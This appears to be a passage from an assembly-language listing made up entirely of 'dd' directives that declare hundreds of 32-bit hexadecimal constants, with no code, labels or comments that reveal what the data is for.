		dd 68468A21h, 1D4BF050h, 286642E5h, 0FFE0C44h, 2671EF5Ah
		dd 0F768A000h, 0E2368D6Fh, 0A14A0EAh, 5D49028Eh, 0ECE1FC10h
		dd 1C480C81h, 0E7F85169h, 0B6C8A83Ah, 0E154F9E8h, 7DFE7020h
		dd 0E69FFE00h, 4BBBAE75h, 0CEC10010h, 0A6928AA9h, 59F44AA3h
		dd 8B41D800h, 2425E790h, 9BE60FA8h, 7087E9F0h, 0BBDE54DBh
		dd 19D01C0h, 5DBB06E3h,	0F8A34F93h, 0ECC17F1Ch,	47649170h
		dd 801500FEh, 69361D6Eh, 337405A6h, 6C211A60h, 0ED15F6h
		dd 35D10B28h, 49E7F4F0h, 0E9C09200h, 5DC8EE7Dh,	1813604Bh
		dd 38D0AA27h, 7B11AEA0h, 4803E090h, 0C63C0EFCh,	0A02010F9h
		dd 20616F24h, 0CF54BDEBh, 0E184A883h, 5F2301F7h, 2B499610h
		dd 0AC099848h, 170F0121h, 0AF1F24h, 0EDC73663h,	570022C9h
		dd 908243E9h, 0FE5A6588h, 20C92D3h, 0F4E87E1Fh,	0EC812E67h
		dd 0D14AA641h, 96303426h, 8DE8561Fh, 7B078A03h,	3724A99Bh
		dd 2802DB21h, 0E83F3089h, 5667FB11h, 7D803988h,	6C32E857h
		dd 8AC0F1Fh, 9E812F37h,	431677A4h, 6A908B94h, 79000EC6h
		dd 823E5C3h, 0ADA578h, 0D344FF6Dh, 2A17915Ch, 2D9D5800h
		dd 92EA4A07h, 889DA095h, 68110040h, 0C332664Bh,	0B60081B2h
		dd 0D63998C2h, 0EA5B130Fh, 0EA633999h, 970A6D80h, 9FF47D5Ah
		dd 5742B00Bh, 80F1800Ch, 42268AAh, 6F398E6Bh, 8BF6C0F8h
		dd 0A90072FCh, 0D51AD862h, 1CBA0AFAh, 0A6795CB0h, 0B64A30EAh
		dd 0B81E8F5Dh, 164B067Eh, 0A01F0398h, 0A03E870Ch, 24B9A1FBh
		dd 0D42D008Fh, 0F0F509BCh, 0C407E068h, 0ECDD2ACCh, 1CF0B47h
		dd 0A8BC2707h, 0D60430A1h, 94F17118h, 0DD0410h,	4BE52B0Eh
		dd 0A1554377h, 960057FCh, 296FD1FCh, 1921E2DEh,	29318804h
		dd 446E08B3h, 0DD44ADC5h, 0FF054477h, 44363D44h, 5084C191h
		dd 845B284Fh, 29DF8AB0h, 31C42421h, 11418729h, 5911AB9Ch
		dd 455D10DAh, 3E438048h, 8BA9E888h, 9E9C40FCh, 90B51D3Bh
		dd 90A700CDh, 0DB976D8Ch, 21000543h, 4A917006h,	117C036h
		dd 673593BFh, 0EC14C70Fh, 310197B8h, 1FC4CAABh,	1D6075C8h
		dd 0AC5B0018h, 0EE5849A2h, 0C900830Dh, 0CD6EDEE0h, 3AF236E1h
		dd 0BB06B23Fh, 0B4048985h, 2B41F09h, 49EB8061h,	0B2A381h
		dd 0F7DBEA3Ch, 0C0FCE9D4h
		dd 8B3D1902h, 0C12CF825h, 0D0F06286h, 0CC200752h, 0B0E86CFAh
		dd 5C9DE070h, 95B5100h,	0DA8BDC77h, 619F605Ah, 45111C4Dh
		dd 70117860h, 43558Bh, 0F14AF267h, 0AEDDCB9Bh, 3C486F60h
		dd 5403B31h, 323D6A1Dh,	0E076C78Eh, 2D9E0A0Fh, 7F48DD00h
		dd 4CD3A9A6h, 35E61EEAh, 0E9C44015h, 0AC1DF204h, 8E4F4D00h
		dd 0C6E0ED80h, 254A2420h, 116B8168h, 0F531D022h, 9BCF30E5h
		dd 0A30C8000h, 0F918F116h, 0B71500B0h, 0B8521971h, 0E6006663h
		dd 266D3598h, 744C78h, 0D0659715h, 0B4D80820h, 2A00ED74h
		dd 1D92AC21h, 64FFA8Bh,	44A687FDh, 0CC001825h, 3DCA187Ah
		dd 789DDFh, 2B24AA4h, 20C9A6C7h, 8C06D124h, 42E24680h
		dd 269710Dh, 7C66A22Eh,	9C80B0F6h, 0C6B63112h, 9DD9F000h
		dd 3F012342h, 32D3A38h,	8EAD321Eh, 66E078C0h, 926AD1D6h
		dd 0F061013Ah, 5940C400h, 0A63154F8h, 0E05A00DDh, 45B014CAh
		dd 0C000D9B7h, 0A26F1D6Bh, 0AECDBCh, 0E80172FBh, 87D260FFh
		dd 9D9A5D50h, 7877851Dh, 65A09680h, 7B5AACDAh, 378C1FEBh
		dd 1E21C049h, 5EB24344h, 0B8BA5730h, 62ADF5h, 307B19B9h
		dd 73CBAAB6h, 92EE5F1Ch, 0D5FBCF40h, 0F484EBDFh, 0DD40034h
		dd 0D023DC59h, 0C2006494h, 0B78860F7h, 13040BEFh, 0F5EA3Dh
		dd 0A8F2978Bh, 66008AACh, 0B89C0637h, 0FFB9C7h,	0CEA7A6Dh
		dd 0C2F00342h, 0D274E100h, 443FA8BBh, 11FD006Ch, 53AD7C57h
		dd 0F7072E42h, 0D4870A7Fh, 0FC5EF221h, 364C1DCh, 3CB09436h
		dd 2680E523h, 0AC388032h, 0FDEA8268h, 803EF76Fh, 0A84A6CAEh
		dd 0BB921F25h, 0AAC30B87h, 0C820C000h, 2300F807h, 9F8ED783h
		dd 0A209D1h, 6D26A25h, 50F69DDAh, 97043BE2h, 4FBFCEA3h
		dd 27293080h, 16860025h, 314AA86Ah, 0D60091FFh,	0ECA4FA60h
		dd 39EF5F6h, 2A9CA658h,	52F0637Ah, 210043C4h, 60490AEFh
		dd 9AA15ADh, 0A11B118Ah, 46CFB800h, 0EA00EE33h,	267EC9A8h
		dd 90D0269h, 0FF3E6FB6h, 220AE800h, 8B1F4974h, 0C68085AFh
		dd 0F53488C9h, 0A9270279h, 0BA5577C4h, 28085840h, 29F2D900h
		dd 0BBF41004h, 9FE213B0h, 80B61C52h, 3BEF3139h,	2E126355h
		dd 6C005B80h, 0E265CCB8h, 7B370448h, 806F8547h,	0B9D6CB14h
		dd 0BC9D5500h, 88161D25h, 15C7007Ch, 84296E71h,	0D60EB4D9h
		dd 0A0FDA407h, 80ACE704h, 6F760BB3h, 2854069Bh,	0E3033D2Ch
		dd 0D8DF49FEh, 3CFDDDACh, 2260353Ah, 6827886Ch,	1802F600h
		dd 0C9D034C7h, 2A50031Ah, 80472D42h, 0D58C1B80h, 13118E00h
		dd 0AC393318h, 0D3A102C5h, 3BB12C59h, 0CD8D6075h, 0F574F9h
		dd 4191735Ch, 2E728303h, 38D5B724h, 0C61E024h, 0BDE025E4h
		dd 0B307FF5h, 26CAEC6h,	0D65D7080h, 8E58ACB8h, 0BBE50372h
		dd 0F06E5641h, 0B18430h, 283B42C0h, 9757CB7Fh, 0D0003890h
		dd 87BC1AACh, 0BE8BE19h, 252E3779h, 1500145Ch, 9A8D8EFDh
		dd 7AF3008Bh, 344576DAh, 9C00EB52h, 3DC2C3B3h, 0D0792Eh
		dd 0F1726E49h, 7D618B67h, 0E2244000h, 8F044AEDh, 99774C5Eh
		dd 0B2A78000h, 0B340BD18h, 78853E1Fh, 200FA3CFh, 9D8B88Ch
		dd 72C6007Fh, 849D6E1Ah, 8E0A331Dh, 0A06566C9h,	0FBBBB401h
		dd 0C2704D95h, 64204C78h, 0C4D4F000h, 7EF75E2Dh, 92CB1C00h
		dd 367D0FC6h, 77251C6Fh, 1EBEDA2Ch, 247020C9h, 40DE14BCh
		dd 0FFBF4C80h, 245B6B5h, 10930E8Dh, 48431564h, 60A1C2A9h
		dd 80001760h, 43050B59h, 241B0295h, 11CB187h, 0C60AB69Ah
		dd 0B7D0CBB2h, 0CD0075FEh, 0E83A3E05h, 726EFAC2h, 60F65Ah
		dd 3F3D201Eh, 44E4D0DBh, 88733112h, 0ADCC9006h,	0E3113DA1h
		dd 0A7C181EEh, 206B91CAh, 0D83FF388h, 40E48013h, 5B8C7B14h
		dd 24AA1C9Bh, 6EAC3DAh,	8293370Ch, 16EB7088h, 5A21B900h
		dd 0E9EF497Ah, 7F5000C9h, 0B4C34DE8h, 4800A3E5h, 0C337735h
		dd 0F887B1CFh, 307B602Fh, 148CBCD8h, 36D9500h, 7484ACA9h
		dd 4A6100F2h, 0B140D159h, 0E1F435E3h, 5E07EE98h, 0A32D7918h
		dd 0A6BEBD90h, 0A1A0009Fh, 48CEC8A2h, 190192F6h, 8927A7AAh
		dd 0B5D853C2h, 0DBD07BAh, 61CF8CEAh, 303E0BA8h,	0D7041B34h
		dd 8A90D8FBh, 0A2DF8C0h, 35DF007Eh, 29B5AB05h, 7900D720h
		dd 26B7B4C8h, 0CDA4C3h,	197B4273h, 373ADA74h, 0B3D5C8C0h
		dd 383C66E9h, 76827E1Ah, 733B4856h, 862E8CA0h, 132824E4h
		dd 0CFA2C4AFh, 60E0C42Ch, 0A6DEC4A8h, 8A7DEB00h, 90AB9822h
		dd 3F9D0DEFh, 20C8B56Ch, 0CA16545Ch, 0FC00AFDBh, 198CA3ECh
		dd 0C2E2B3h, 161EEBCFh,	6B173B0Ah, 0B503BEFAh, 85703F5Bh
		dd 3A7000B8h, 98D30338h, 809A40FDh, 23164B00h, 0C7331132h
		dd 127A902Ah, 1483E4B1h, 0AB007C3Ch, 0A14B863Fh, 3C00CB91h
		dd 0E0730CB5h, 584A8375h, 2A00A810h, 46DD6A8Fh,	0C73911A5h
		dd 6BD28F87h, 0AAF0E060h, 0CEBACh, 0A71B154Ch, 51202E91h
		dd 60044B00h, 92F25A61h, 758B007Ah, 469078BAh, 0E432EE58h
		dd 0E043B8E1h, 0F79300h, 686F056Ah, 0A1A9DF61h,	5ACA810Fh
		dd 72028015h, 2E63CF31h, 2443D975h, 69430A0Eh, 0EB6F0F08h
		dd 17F41100h, 7E02C7A5h, 98A7A6B7h, 8868E8E5h, 2E6C98E4h
		dd 3CFC6B47h, 0EA3C2D05h, 410C878Dh, 41B3BC25h,	3086FE8Ch
		dd 3C007AB4h, 64B55FD2h, 0EF37179h, 0EC5C097Eh,	5F4AF4C7h
		dd 6A49A280h, 1E0059B8h, 343918ACh, 0A3A9C1h, 862CB419h
		dd 676D21D8h, 613B30Ch,	0B77285Ah, 438AB235h, 82362C85h
		dd 46C07CE8h, 0C7130ACAh, 5202D069h, 804873A4h,	0AF4187E6h
		dd 0FB21003Fh, 0A959BF1Dh, 1B00B851h, 8EB9AE11h, 1580A66h
		dd 4441E22Dh, 600C8207h, 3100AAF0h, 0B0A6F530h,	49C7BE1Ch
		dd 0FD125097h, 0C84421ACh, 3C8C205Fh, 6701EB00h, 0E434C207h
		dd 2725001Dh, 1AD0659Dh, 5B38C741h, 30E6AC60h, 24ECB980h
		dd 17B1D3ADh, 329E20h, 4D371AB0h, 76005D02h, 0BC0ABE0Ch
		dd 49432Dh, 8D10363Fh, 341A1D8Ah, 26CD3Fh, 4DFDAEDBh, 5487BF2h
		dd 0FBA0E25Eh, 0F0B50373h, 0FEC8AD56h, 1902158Ah, 22B59B63h
		dd 4081E2BBh, 2EBDB2ECh, 96B02CAh, 4C008820h, 0B867EB8Bh
		dd 62B75500h, 50F544DDh, 19B90BA3h, 0CC84A2C7h,	0A5CCC095h
		dd 8A00969Eh, 93885948h, 1782399Ch, 7350458h, 41F6298h
		dd 7894C16Ch, 1459C0DAh, 0D9B1753Fh, 20462528h,	3C20EB00h
		dd 0A72A3A4Fh, 3B804038h, 0E012859Eh, 47E073F4h, 0E48EB300h
		dd 0D9EEA55Ah, 0FB2D3929h, 3CEADB80h, 480B1330h, 80AC943Dh
		dd 0E77AFC2Eh, 0EC893515h, 9FAA00E1h, 0F137280h, 0B00010CBh
		dd 0B595BBA5h, 7B5B4986h, 5371007Ah, 34076E51h,	77301597h
		dd 0B072D8ECh, 0D3E442h, 2A69EC9h, 76486507h, 9395C00Bh
		dd 1E00036h, 497B31h, 9809CAA3h, 891BE615h, 13EB631Fh
		dd 54A9406Eh, 0C0666780h, 0F2D9833Dh, 14A300A6h, 37890630h
		dd 9D0E6B49h, 0E077CF01h, 6163341Fh, 439501C9h,	0D05A8160h
		dd 3996C444h, 25C07D07h, 0BD047F22h, 1C902C85h,	0EBFFCC5h
		dd 0E205D0A4h, 0A5F00180h, 2A0917E3h, 25D168h, 699F0D38h
		dd 20F40033h, 0BDA5877Eh, 6EE05783h, 401C2307h,	804B1D5Ch
		dd 96E242F8h, 14DC262Ch, 6A6F0EE0h, 68E3C660h, 2602DB57h
		dd 0F9C725D3h, 0E919606Bh, 21B20099h, 73A10BD8h, 0D024767Dh
		dd 0D10308B9h, 0D8DCABB0h, 22BB21h, 0B4384764h,	0CC13A5AFh
		dd 0E1F467Fh, 21800775h, 282C1DACh, 29DC00CEh, 0F0514002h
		dd 6D00C597h
		dd 0F367FC5Ch, 75EE57h,	0B6589B25h, 91F9C99Ch, 65B7FF1Ch
		dd 0C07AA7C7h, 8CC03295h, 2EA20DEEh, 9441EAAh, 5C90FF3Eh
		dd 9E1DA8CEh, 0DF80056Bh, 4E7EEC2h, 0CC620063h,	0E465697Ch
		dd 7201C081h, 0CE762682h, 0AC2D1208h, 0B4109200h, 0C5ADA8D5h
		dd 7ED1070Fh, 0A929420Dh, 0A7ACC01Ch, 0DBDD005Eh, 0D5BD2FCCh
		dd 0C1485D2Ah, 18AE1DB0h, 85BB3340h, 0C99447h, 5FE69F37h
		dd 51FE4631h, 22A2A90Bh, 0E7AC0165h, 0D2D4DB8Fh, 2417005Bh
		dd 0A5480306h, 6F0F80F4h, 40CEF8D3h, 0CEDF2FDh,	2D820386h
		dd 0E3D5B254h, 6D68D3D8h, 3837DB04h, 48D1B88Eh,	3A082524h
		dd 0B6D4A150h, 0A547FF00h, 2DC7CDFAh, 519F1EC6h, 6824C033h
		dd 0BBB9D685h, 290169F0h, 64DBCFA3h, 1C713102h,	49D820h
		dd 3D3A4062h, 70C0C94Ah, 0F34F0601h, 5F69565h, 2810E8h
		dd 0B4121FADh, 0E23DC8ABh, 600E8800h, 0E1DE828Bh, 7A115C6Dh
		dd 0A4E6187Fh, 952C9867h, 0A1F86F07h, 73C0BE29h, 0FB4C81h
		dd 691FD37Ch, 5C5D59A2h, 1CE14600h, 7D2D3A6Bh, 1E577410h
		dd 80DF5611h, 16ACD020h, 0F3006501h, 5291FA1Eh,	2C62E659h
		dd 0A65AA0h, 0BBA9FB5h,	1F5CB366h, 7BCB0030h, 95E8BED4h
		dd 9E67003Bh, 0B3A462Fh, 9300BB42h, 0EEB2EC2Bh,	1F9BAC6Ch
		dd 65CF918Ch, 45B3C485h, 8EABA2B4h, 0F4080920h,	0A128E05Dh
		dd 0EF711C58h, 38251620h, 0D1008C14h, 572E833Eh, 1682EF73h
		dd 0D9986C3h, 0C468A66Dh, 7400D379h, 0BC5063FDh, 90C644D8h
		dd 27A70EDh, 0FC87AE99h, 0F8E0EE24h, 0ED38BC14h, 2C6F8002h
		dd 0E9C01042h, 6E051D06h, 23BEC037h, 0AC5B1539h, 0E0428A12h
		dd 0E645201Ch, 9CD02F0Bh, 1F13B2h, 508C3C25h, 5A862056h
		dd 8E4F7C00h, 70658F9Ah, 30D71E9Bh, 4771C062h, 3FE23304h
		dd 805EB03Bh, 2BC4B951h, 0CD6699h, 18D1BFC2h, 6BF17E09h
		dd 0B03D1E00h, 0B65D4144h, 96BA00F7h, 31BB0EAEh, 0E504C7BDh
		dd 0DF639304h, 4626CB0h, 18B3843h, 0EEE1C044h, 0B901EC58h
		dd 0A3B58903h, 0E0F6F59Bh, 7EC26998h, 0BD580072h, 0B4A652D0h
		dd 90E003F7h, 0F591B717h, 0A3A21B00h, 53FC45h, 275C262Ch
		dd 111BA76h, 0DCAC7528h, 0D5649300h, 65558A35h,	669A0026h
		dd 5E843AD3h, 5017F68h,	3D52F457h, 7C31D891h, 71C5B3F8h
		dd 5B4300E6h, 0CCFADCF5h, 700010A3h, 457B918h, 291DB868h
		dd 11F87B2Ah, 0DE5207A7h, 8818A6h, 4D6C6F0Ch, 8005B05h
		dd 1DA50174h, 73EAC2h, 80F66DD8h, 90467D14h, 0C3AC4700h
		dd 969FB745h, 68BA0004h, 9A3B41C8h, 0ECA40F95h,	0B2F81A50h
		dd 0F388BA0Fh, 40A08B93h, 2541AB64h, 0D4074DBBh, 0D0F34427h
		dd 1F59DF38h, 45E60BB8h, 0FC99B600h, 1B8E6809h,	804700A4h
		dd 0AA230C48h, 4A0066E0h, 0C0DE9641h, 0E4524h, 56F3C592h
		dd 0F9237BC2h, 12161E00h, 9C43C47Eh, 5C057FB4h,	0D909A6AFh
		dd 0D7444Ah, 9BBAE067h,	0ACC31D35h, 0FD30808Dh,	9DE66FBFh
		dd 482CEF26h, 4460802Dh, 33F23AC5h, 0FBF68E74h,	0CB88079Bh
		dd 6500DD5Ah, 2AFE0A9h,	0EC018061h, 0B5E0C00Fh,	0CCDEFDACh
		dd 4AA22000h, 0C82B21B1h, 0FE0972ABh, 35D82816h, 0AC2300EEh
		dd 1AE8887Ch, 0FE4C4791h, 456D0051h, 0B50E3D61h, 0C32700EBh
		dd 309FE492h, 0D6008A64h, 0E35F2343h, 502B0Dh, 0EFB7B2F4h
		dd 0EB22A302h, 83BF7300h, 26FE7EC0h, 0BEF500B9h, 0E7EAE515h
		dd 0B839AD8Eh, 600771Ah, 0BAEB6130h, 0EE3E94DCh, 28150381h
		dd 9FF67C64h, 3758E0A8h, 7508D48h, 8BFDCED3h, 0F380A5D0h
		dd 28960911h, 1B80F724h, 0B0E0F229h, 4855DD00h,	0FA8586C9h
		dd 6C8100B1h, 2B531705h, 74005945h, 25AF4278h, 629A0Ah
		dd 0E587DC90h, 231E73DEh, 5A8A851Ch, 976A2687h,	0A5FFCA91h
		dd 0B8545820h, 8CA02E78h, 800B1DF4h, 72D9F3D4h,	690010EBh
		dd 52AED75Eh, 7BCB287Eh, 927D3DC3h, 0F265FE00h,	1679AFBFh
		dd 68FDD500h, 86943340h, 0AC78005Bh, 0B68FEFDAh, 0CC90B5E9h
		dd 0E8D4200h, 0E4388ED7h, 0E059004Ch, 4A84EF5Ch, 0B2712FB7h
		dd 0A4E9C43Fh, 981C7803h, 78F4D480h, 2C709h, 4899202Ah
		dd 0BB431251h, 0F39158h, 224A6CC2h, 217E83h, 5CE1BD30h
		dd 0CB51F9CEh, 8B03BB7Bh, 198050DBh, 0D978A01Ah, 556F147Fh
		dd 0D400D8B2h, 9926DEF1h, 0AD2AB02Ch, 0E05E8C8Ch, 147D409h
		dd 3034B75Ah, 1F26E4h, 5A14F917h, 91A18AC3h, 934F2406h
		dd 846940h, 8ED6B813h, 819AA564h, 5CB31212h, 54B2B805h
		dd 0D60E8C00h, 4CFF3C9Eh, 9609D863h, 700014D1h,	8AD9CA65h
		dd 9E01217Ah, 41266F74h, 4D04D54h, 2CE598FBh, 0AC772Bh
		dd 5AF0097Dh, 910770F4h, 0BA5E9D29h, 3A0C8930h,	0B420EDF5h
		dd 9271753h, 15BE0006h,	0F113842h, 1AA21450h, 19E56500h
		dd 0BEA19D32h, 0BE3EE52h, 73DA4921h, 2808C688h,	1D400CBh
		dd 9FD50D69h, 5600B77Dh, 783E0557h, 7DE86DB1h, 548E00A3h
		dd 443290A1h, 0A8016C2Eh, 0E44314BEh, 21F417C8h, 4B6B0713h
		dd 0BE248CEDh, 3366C580h, 542C348Eh, 0AA03C9CDh, 6BF6B5h
		dd 0B315CB84h, 0C149BFD3h, 1A6CD105h, 0E8018A7Ah, 0A192F17Bh
		dd 3AED3C20h, 0D3033679h, 98A73E03h, 402E981Fh,	6F75AC45h
		dd 49419680h, 544600DDh, 4A2F3A2Ch, 29002786h, 7DE7DB98h
		dd 424105Dh, 9B6FC66Ah,	0F6D8C0DDh, 0CD004C2Bh,	9E7F4DE9h
		dd 4F168213h, 7016E0h, 318B93D2h, 0F10ED1F2h, 40D7E12Fh
		dd 19AB788h, 3DD938A0h,	9481B5BDh, 79112A9Bh, 0D48CC70h
		dd 721EE6E8h, 71803F5Ch, 6DEB7BF2h, 150BA95h, 0F944DEFFh
		dd 789E8E20h, 41661C10h, 0DB0D0E3Dh, 0B04600ACh, 6FB60Bh
		dd 1D802D88h, 956E21CEh, 7BEF820Eh, 0ED71E045h,	23263Dh
		dd 60A94974h, 0CB4499C3h, 0B2288B8h, 6C9C5975h,	0F4A35100h
		dd 0EEF0C744h, 9400977Ch, 5C8D41Ch, 0BA0ECh, 0F8132D0Ah
		dd 0CEE517FBh, 57FA1B00h, 0DDE149D0h, 0B5D200C6h, 9EC47C51h
		dd 56027AA8h, 2653F940h, 0A952408Fh, 798001A3h,	9EF16FFBh
		dd 35883425h, 0E20E6700h, 3431ADA4h, 6E7C0640h,	31B71C4Fh
		dd 0CEF34500h, 0EA0D2C97h, 766F00B2h, 0CDA00E57h, 7901D5B7h
		dd 0D0AD82C1h, 0F8688E50h, 568C3B0Fh, 3EA10641h, 233570FFh
		dd 0DB912803h, 0DA42AC9Bh, 0B052406Fh, 87F100DFh, 45D9121Ch
		dd 0D4050341h, 23F4E606h, 64BF5C82h, 78FBF880h,	0ADC11C2Eh
		dd 44002F77h, 7CDF720Ah, 0E5418D04h, 48C00CB6h,	7E69A3h
		dd 2C18B2A6h, 8367E8E9h, 0D377F004h, 60C0907Fh,	0BC12A628h
		dd 0F5B16048h, 1F381E5Bh, 408580CFh, 472FA9AEh,	3EAA3A67h
		dd 0C8EBDD80h, 92BB6CF1h, 12E41400h, 0CF1C70C7h, 903F5006h
		dd 6EF00FFCh, 7A00A8C2h, 43E12949h, 8BC41412h, 9CEF0001h
		dd 52FC0A32h, 0E8AA04B8h, 0A8944C6Ch, 0E50912F8h, 0DE00A8A2h
		dd 0D87A533Fh, 0C10B60FFh, 48BEC533h, 623610h, 9C0BBC10h
		dd 0DB24DF37h, 616C9D05h, 9C00D92Bh, 91E9C5B6h,	5E04028Eh
		dd 631843EAh, 0A5DCDCC0h, 9C06A100h, 0F5138AA2h, 0C7AE0077h
		dd 5EEA62C4h, 3E008F52h, 0A6911E29h, 0E29A497Dh, 13B801B6h
		dd 7AD49D74h, 4D2860C5h, 0B5949700h, 0D2B0B31Fh, 2C3E4CAh
		dd 673AADDCh, 0B458C9A5h, 0F45AA72Eh, 0EBD1BE80h, 5CFB74EEh
		dd 0D600957Ah, 0CE5DF496h, 0F32E6D4Eh, 460178A7h, 16B306BAh
		dd 1182A1E9h, 2517B20Bh, 9DA88640h, 92008C98h, 48E5B16Bh
		dd 9563C37h, 2ED1E987h
		dd 70392C70h, 1406B18h,	684858A0h, 0C0C6C4h, 0BA3672D4h
		dd 0F7E5EE0Ch, 18258600h, 943558C7h, 2AA50059h,	8DA1323Fh
		dd 0AA031DFDh, 7B41E627h, 0A0B79037h, 0A3B51F90h, 0BA6CC0A9h
		dd 4E497518h, 4A000F7Bh, 61F5D604h, 7FCE73h, 243FBBFCh
		dd 5BDEE638h, 4B675D01h, 8BE82B55h, 3A4985D8h, 31665F7h
		dd 0E9990BD9h, 0C5029C89h, 6340581Fh, 0FB73512Ah, 9CF35D07h
		dd 64504F2Fh, 0B9A63Eh,	83984C9Fh, 126DDF49h, 26019B7Bh
		dd 0FDD1909Dh, 2DD01E89h, 0E6BFCCAh, 878BFB82h,	0D267BCC0h
		dd 0E24A3391h, 0D6B3C000h, 9CAEA95h, 0AB2F7581h, 68F0CC60h
		dd 8E3E8902h, 40DE6A1Bh, 3B104h, 0DB59368Bh, 45BF0FD2h
		dd 66379A0Ah, 950008DAh, 0CDDD6734h, 48C03010h,	73356031h
		dd 240044BCh, 4C0E8465h, 0ECE31B89h, 0BE0708Ah,	22009C51h
		dd 27D497B3h, 60A75C4Ch, 6F2E91ADh, 0B907E9B8h,	41ECD008h
		dd 4E400B47h, 0C19C7AA9h, 46E3BC58h, 4F518F28h,	4C162390h
		dd 0EFB0EF70h, 90608CEAh, 0DE889h, 729C77A6h, 574A3CBEh
		dd 429A8F00h, 0C9F2964Dh, 64ED487Ch, 97EB5006h,	608078E3h
		dd 1F73D1CFh, 290900BAh, 0D21DD254h, 7AF048h, 0F43E53EBh
		dd 0D08A1EEh, 0A958EC0Ah, 0F888547Ch, 0CC0448Ah, 0A51DB04Eh
		dd 0C2A9908Ch, 0C021D272h, 9B7FD1h, 0D7B61240h,	2F4DAB6Bh
		dd 986D8800h, 2507BF28h, 820607AAh, 609FD7D6h, 7BAE391Eh
		dd 9C0F3E98h, 0C09B6770h, 0C50BC7CAh, 0C2740E15h, 80DE45ABh
		dd 329F8284h, 500026CDh, 0D0CEB794h, 0FE53761h,	4D6C0125h
		dd 636BB587h, 0D8E8D4CCh, 271C773Fh, 8F24BB8Dh,	0D7C04018h
		dd 490C2423h, 0FF19412Ch, 0CBFD707Ah, 389C9619h, 21805409h
		dd 2A7B1479h, 0F90A040Dh, 963C05EBh, 0A02D510Fh, 698EED12h
		dd 455C137Bh, 0D5D8A4E5h, 0B0E03200h, 0F1CC15B1h, 18BF4A2h
		dd 51D2DFB4h, 83417F19h, 0FBDCA130h, 0F0180299h, 8B6FD8BBh
		dd 0F404B4A0h, 4C160266h, 50DC5F8h, 68FE08F7h, 10C6468h
		dd 2A67CC66h, 0F3EE5D7Bh, 0CD335018h, 4D7C69h, 8875627Eh
		dd 21B17F92h, 2CB3E301h, 941D2F9Bh, 58B8D6F4h, 0D4381DCBh
		dd 0AC8700F4h, 4CB59DF1h, 0A707BB6Bh, 936352B0h, 0C21D946h
		dd 0C0B58CA0h, 5C0084FAh, 0FC7DDA6Dh, 0C46696h,	80546F49h
		dd 4CAA6AB9h, 0E918B660h, 7447C1ABh, 3FD100F6h,	9714A4A7h
		dd 0CD0CF4C3h, 8EFFC24h, 20B16054h, 0F14DBC7h, 0EC2AE2A0h
		dd 6D574600h, 651ABD2Ch, 0F908011Ch, 0D5439B04h, 569887CAh
		dd 0B22695D2h, 900CF040h, 639F23Dh, 30F343BEh, 6430086Eh
		dd 9FF220D2h, 10673328h, 97A0FDC0h, 3210A266h, 4965523Bh
		dd 0A3901FACh, 0A9B59800h, 8693636Ah, 91DC44h, 0CAA5B66Fh
		dd 684AD1FDh, 0AF867317h, 0D960900h, 608946EBh,	0CC0960ACh
		dd 0F9005902h, 708FBFB4h, 14D2697Bh, 9C970E99h,	0FC8C72ECh
		dd 87F7075Eh, 60AF7B89h, 0EB0A71CEh, 0D83BB000h, 0CA7FC3Dh
		dd 0B8B407FEh, 0B0747646h, 22C258FAh, 445B5Ch, 39B39332h
		dd 1DA8AE1Ah, 4F47D74Ch, 0D49EED38h, 40E00448h,	0F4F92F54h
		dd 19C0461Ch, 0AE977D19h, 6474068Fh, 87CC898h, 86213B60h
		dd 0EB39775h, 555810C7h, 0C13E4061h, 0FAD9EC38h, 0D82BC300h
		dd 41480FB4h, 75A90171h, 2F91543Fh, 8B7880F1h, 7F68A546h
		dd 0E44400D9h, 0FB1EB63h, 0AD03C841h, 5C9EC570h, 93200146h
		dd 0EB9D395Dh, 23204E90h, 968D8278h, 0C6014C5Ch, 0E88015C1h
		dd 76CFD78Eh, 45F00BA4h, 0B8518830h, 0F2D37E75h, 28E1D84Bh
		dd 58816C97h, 71F3032Fh, 200138FAh, 28F9C42h, 3FD40FB0h
		dd 391468D5h, 80A211A4h, 8FAC977Bh, 72914344h, 738888h
		dd 0BEE9B097h, 723C5F87h, 77B79A2Eh, 2DD0CB15h,	0E2AB00C9h
		dd 1D14D0h, 0D849B99h, 54CCC224h, 1C8DE4A8h, 32F92907h
		dd 887B4Bh, 0E826F713h,	47F02EA0h, 7E024CA4h, 8C8FB597h
		dd 8B001664h, 3AEC9776h, 5949DBh, 874F1078h, 1C9E5379h
		dd 0A5AC1850h, 1A580300h, 0BA75A8D4h, 6DA3943h,	20168D98h
		dd 0C7140FBEh, 28A47D1Eh, 1F014C35h, 50BBF6C1h,	96EC8097h
		dd 9EA600A9h, 58DAF3Fh,	0F1E84D5Bh, 19019977h, 3C2CD85Ah
		dd 41807A3Ah, 0B22E07Bh, 0F401F737h, 0F39C4347h, 20AFFCh
		dd 40C83696h, 130F4080h, 6535FD4Eh, 8408BFD0h, 57FC5B6h
		dd 62648FC0h, 8C203CD0h, 9FE9777h, 83F68E06h, 0DB184820h
		dd 4C008A6Dh, 611D413Eh, 60387839h, 7173A196h, 8DFC4A05h
		dd 18F15C19h, 21807009h, 8705A8D3h, 8201F65Bh, 0B718989Bh
		dd 94407B9Ah, 481BFD5Ah, 6A074C3Bh, 0AAF77F83h,	25EAC0ACh
		dd 7C4782B7h, 0C02F8F00h, 158D9A59h, 8C89D51h, 575031A8h
		dd 0C924C640h, 0EB861C36h, 7118945Dh, 1F7BB0BAh, 80A56186h
		dd 5BA1F3E1h, 1300B1D6h, 393E8B10h, 544B3FA6h, 146B9490h
		dd 0ACAEC28Dh, 80009D23h, 7C8FAF97h, 31448664h,	97780079h
		dd 5A0F3ED2h, 425304DEh, 12C48DCh, 41134FCDh, 0C4CC9D2Fh
		dd 0B80948AFh, 43D17B01h, 306735CCh, 4B303130h,	0C799D97Dh
		dd 103EC16h, 94ADF102h,	24C3F076h, 0B3048DA4h, 0B0597E05h
		dd 48722882h, 8097092Ch, 0EAE20618h, 3E35F700h,	202E0FD7h
		dd 44D31B9Bh, 8244B937h, 0B2017F9Ch, 0C171565Ah, 6AD47D22h
		dd 72FDFC5Fh, 52E40358h, 8F17BFCDh, 51A3ABA9h, 2092FECh
		dd 0DE4331h, 9E9A3C99h,	2EB58AFBh, 97AB6801h, 7FBAB802h
		dd 0FC16F040h, 47780487h, 0D337CC3Fh, 890403ACh, 270943C9h
		dd 842094D4h, 3E53B49Eh, 730BC7Bh, 79468DB6h, 40282A67h
		dd 0B565AFF1h, 69F76030h, 0B3043996h, 80649873h, 41470508h
		dd 406EC475h, 0B60577D8h, 70870131h, 0D3CBFBEAh, 0E070A40Ah
		dd 85181008h, 421ABC32h, 7794ABB4h, 5AECCB0h, 8597B08h
